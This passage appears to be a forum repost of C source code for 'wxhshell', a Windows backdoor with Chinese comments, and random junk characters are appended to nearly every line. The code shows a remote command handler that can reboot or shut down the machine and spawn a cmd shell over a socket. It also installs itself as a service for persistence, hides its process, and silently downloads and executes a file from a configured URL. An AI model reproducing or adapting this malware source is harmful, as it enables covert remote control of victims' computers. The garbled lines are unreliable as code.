$'YKB8C  
    switch(cmd[0]) { +\GZ(!~  
   x9"4vp  
  // 帮助 Qk.Q9@3W  
  case '?': { puN=OX}C  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); bDBO+qA  
    break; /I'u/{KB  
  } S?\hbM]V-o  
  // 安装 qlITQKGG  
  case 'i': { : 5<9/  
    if(Install()) 6\fMzm  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); &v5.;8u+OV  
    else B36puz 0{  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); dyiEK)$h  
    break; "C.7;Rvkp>  
    } 4z%#ZIy3   
  // 卸载 Kt,yn A  
  case 'r': { 34wM%@D*c  
    if(Uninstall()) R{uJczu  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 92]ZiL?k  
    else _T|H69 J  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); I9un  
    break; aT:AxYn8  
    } Yz-JI=  
  // 显示 wxhshell 所在路径 z<%g #bo  
  case 'p': { PuZs 5J3  
    char svExeFile[MAX_PATH]; _b_?9b-)D  
    strcpy(svExeFile,"\n\r"); b>= Wq  
      strcat(svExeFile,ExeFile); B$TChc3B  
        send(wsh,svExeFile,strlen(svExeFile),0); @ Rx6 >52>  
    break; XL PpxG  
    } +O$:  
  // 重启 h@;)dLo0z  
  case 'b': { 3 t88AN=4  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 51G=RYay9  
    if(Boot(REBOOT)) Mp"'?zf  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); gZlw  
    else { \D U^idp#  
    closesocket(wsh); %aH$Tb%`hc  
    ExitThread(0); dG-or  
    } (y~laW!  
    break; G/z\^Q  
    } sCtw30BL  
  // 关机 7e c0Xh1  
  case 'd': { \} Acq;  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); kg: uGP9  
    if(Boot(SHUTDOWN)) Fu4EEi  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); uR:=V9O  
    else { >*= =wlOB  
    closesocket(wsh); /}$T38  
    ExitThread(0); :Wg-@d  
    } hB7pR"P  
    break; @>G&7r:U  
    } )?B~64N,+  
  // 获取shell '9 e\.  
  case 's': { r%F(?gKXkd  
    CmdShell(wsh); 0SMQDs5j  
    closesocket(wsh); ]A]Ft!`6z  
    ExitThread(0); q11QAx4p  
    break; uKbHFF  
  } ~mK-8U4>K,  
  // 退出 kOAY@a  
  case 'x': { cK[R1 ReH  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); FE+7X=y  
    CloseIt(wsh); p:JRQT"A  
    break; NFY|^*bll  
    } m0|Ae@g~3  
  // 离开 Zj1ZU[BEcL  
  case 'q': { 6Q2or n[  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); GG_^K#*  
    closesocket(wsh); "*w)puD  
    WSACleanup(); Any Zi'  
    exit(1); ]l=O%Ev  
    break; VFl 1 f  
        } F?b'L JS  
  } >+:r '  
  } 6Z(*cf/s  
7|QGY7Tf  
  // 提示信息 +ze}0lrEL  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); CF|moc:;  
} 8 "_Bq  
  } [,<\RviI  
(Ffb&GL  
  return; ADYx.8M|9i  
} xd^&_P$=  
q%-&[%l  
// shell模块句柄 ,!6M* |  
int CmdShell(SOCKET sock) -9OMn}w/*  
{ hN gpp-  
STARTUPINFO si; -DP8NTl"  
ZeroMemory(&si,sizeof(si)); psIkG0 &  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Vk-W8[W 7  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ~reQV6oQua  
PROCESS_INFORMATION ProcessInfo; wJ+U[a  
char cmdline[]="cmd"; Ap]4QqU  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); x.b; +p}=  
  return 0; ORowx,(hX  
} Nush`?]J"_  
cQT1Xi  
// 自身启动模式 %K h2E2Pe  
int StartFromService(void) A\".t=+7  
{ v"u7~Dw# 1  
typedef struct !8xKf*y  
{ 3sZ,|,ueD  
  DWORD ExitStatus; uAu( +zV2  
  DWORD PebBaseAddress; g/IH|Z=A  
  DWORD AffinityMask; h/I@_?k+  
  DWORD BasePriority; m[Z6VHn  
  ULONG UniqueProcessId; XzT78  
  ULONG InheritedFromUniqueProcessId; s$DGd T)  
}   PROCESS_BASIC_INFORMATION; i2$*}Cu  
cz2,",+~  
PROCNTQSIP NtQueryInformationProcess; \F 3C=M@:  
M#OH Y *  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; yp=|7  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; %p0b{P j_p  
9i0M/vx  
  HANDLE             hProcess; LZ~2=Y< U(  
  PROCESS_BASIC_INFORMATION pbi; u_N\iCYp  
$ !v}xY  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 8 +"10q-  
  if(NULL == hInst ) return 0; bvl~[p$W3  
$^}[g9]1  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); }0QN[$H!  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); pT4qPta,2  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Ptx,2e&Hq  
1g1?zk8zO  
  if (!NtQueryInformationProcess) return 0; |*:tyP%m^  
jCzGus!rM  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ^J8uhV;w  
  if(!hProcess) return 0; 16I&7=S,  
'!!e+\h#  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; [UMLx  
9C_*3?6  
  CloseHandle(hProcess); 7))\'\  
vQUZVq5M  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); h$70H^r  
if(hProcess==NULL) return 0; 9b1?W?"  
tp Xa*6  
HMODULE hMod; H+a~o=/cR  
char procName[255]; k({2yc#RD&  
unsigned long cbNeeded; *=Doe2(!C  
*B1x`=  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); "K,bH  
aD2*.ln><  
  CloseHandle(hProcess); C\ vC?(n  
t9.,/o,  
if(strstr(procName,"services")) return 1; // 以服务启动 4otl_l(`yv  
Y %K~w  
  return 0; // 注册表启动 \yNQQ$B  
} lW p~t  
czI{qi5N  
// 主模块 gmY/STN   
int StartWxhshell(LPSTR lpCmdLine) a:A n=NA  
{ }|Uj"e  
  SOCKET wsl; t05_Px!mW  
BOOL val=TRUE; RlrZxmPV>O  
  int port=0; Hle\ON  
  struct sockaddr_in door; \eQ la8s  
vQ 4}WtvA  
  if(wscfg.ws_autoins) Install(); 8h|M!/&2  
;7rd;zJ  
port=atoi(lpCmdLine); ahA{B1M)n  
-0$:|p?@^  
if(port<=0) port=wscfg.ws_port; Z`Ax pTl  
' WQdr(  
  WSADATA data; 7R,qDp S  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; FEF"\O|Q  
L}$z/jo  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   zOB !(R  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); gE\b 982  
  door.sin_family = AF_INET; j$Nf%V 6Y  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); bhD ~ 4Rz  
  door.sin_port = htons(port); Ry z?v<)h  
o@9+mM"B)  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { GW3>&j_!d  
closesocket(wsl); /v|Onq1Y4  
return 1; >GXXjAIu/  
} TnNWO+ kg  
@RGDhwS47  
  if(listen(wsl,2) == INVALID_SOCKET) { rVH6QQF=\  
closesocket(wsl); ~-_i  
return 1; ,}0$Tv\1  
} BX[~% iE  
  Wxhshell(wsl); := <0=JE#  
  WSACleanup(); }_}KVI  
([R")~`(l2  
return 0; ^gOww6$<  
r<c #nD~K  
} :"<e0wDu[  
6YmP[%  
// 以NT服务方式启动 o@W_ai_  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) s\gp5MT  
{ nO{ x^b <  
DWORD   status = 0; :g2  }C  
  DWORD   specificError = 0xfffffff; (wuaxo:  
X*F_<0RC1  
  serviceStatus.dwServiceType     = SERVICE_WIN32; >;4!O%F  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; i%;"[M  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; *}cSE|S%  
  serviceStatus.dwWin32ExitCode     = 0; h?Nek+1'  
  serviceStatus.dwServiceSpecificExitCode = 0; *%!M4&  
  serviceStatus.dwCheckPoint       = 0; u7s"0f`  
  serviceStatus.dwWaitHint       = 0; -\#lF?fzb  
Zw{MgoJ0Z  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); M0L&~p_F  
  if (hServiceStatusHandle==0) return; A&zS'toU  
yK1ie  
status = GetLastError(); M:|8]y@  
  if (status!=NO_ERROR) /=)L_  
{ PD6_)PXn  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; c.%.\al8oW  
    serviceStatus.dwCheckPoint       = 0; XF*.Jg]  
    serviceStatus.dwWaitHint       = 0; V.6)0fKZW  
    serviceStatus.dwWin32ExitCode     = status; Bz /@c)  
    serviceStatus.dwServiceSpecificExitCode = specificError; E{y1S\7K  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); oC*=JJe,  
    return; &Z;_TN9[  
  } T95t"g?p  
UDEj[12S  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; iWA|8$u4gm  
  serviceStatus.dwCheckPoint       = 0; 6w| J -{2  
  serviceStatus.dwWaitHint       = 0; PFrfd_s{>\  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ]$A(9Pn"  
} lCIDBBjy^  
R)5n 8  
// 处理NT服务事件,比如:启动、停止 ^/@jwZ  
VOID WINAPI NTServiceHandler(DWORD fdwControl) YoKs:e2/:  
{ n~.*1. P  
switch(fdwControl) v2)g 1sXd  
{ O o8qyW  
case SERVICE_CONTROL_STOP: ZmEEj-*7s  
  serviceStatus.dwWin32ExitCode = 0; ,.tfWN%t\  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 9Uf j  
  serviceStatus.dwCheckPoint   = 0; uO6{r v\  
  serviceStatus.dwWaitHint     = 0; Ps4 ZFX  
  { X~oK[Nf'9  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); -!e7L>w  
  } J2VTo: In  
  return; upy\gkpnGO  
case SERVICE_CONTROL_PAUSE: //f  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Jr;jRe`4c  
  break; :E&g%'1  
case SERVICE_CONTROL_CONTINUE: -WJ?:?'  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; o!c] (  
  break;  ?K_ '@  
case SERVICE_CONTROL_INTERROGATE: .}B(&*9,v  
  break; }ns-W3B'  
};  :A1:  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus);  _; Y`  
} r(h`XMsU  
7zemr>sIh  
// 标准应用程序主函数 K`g7$r)U[  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) fCWGAO2  
{ )h{ ]k=  
NZ0O,} m  
// 获取操作系统版本 #V,R >0"  
OsIsNt=GetOsVer(); hk[ %a$Y  
GetModuleFileName(NULL,ExeFile,MAX_PATH); QHq,/kWY  
eHiy,IN  
  // 从命令行安装 47K1$3P  
  if(strpbrk(lpCmdLine,"iI")) Install(); vy9 w$ls  
$za8"T*I  
  // 下载执行文件 (kv?33  
if(wscfg.ws_downexe) { j()7_  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 6' k<+IR  
  WinExec(wscfg.ws_filenam,SW_HIDE); ,wQ5.U,  
} DX#Nf""Pw  
/:m-> T  
if(!OsIsNt) { @0Ic3C[rH6  
// 如果时win9x,隐藏进程并且设置为注册表启动 XO.jl"xu  
HideProc(); slCx w$  
StartWxhshell(lpCmdLine); ~!B\(@GU  
} R@1xt@?  
else 0q()|y?}  
  if(StartFromService()) G#ZH.24Y  
  // 以服务方式启动 <sb~ ^B  
  StartServiceCtrlDispatcher(DispatchTable); }bb;~  
else {'7B6  
  // 普通方式启动 - YEZ]:"  
  StartWxhshell(lpCmdLine); ha]VWt%}  
f\|w '  
return 0; n@<YI  
}
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只看该作者 1 发表于: 2006-10-10
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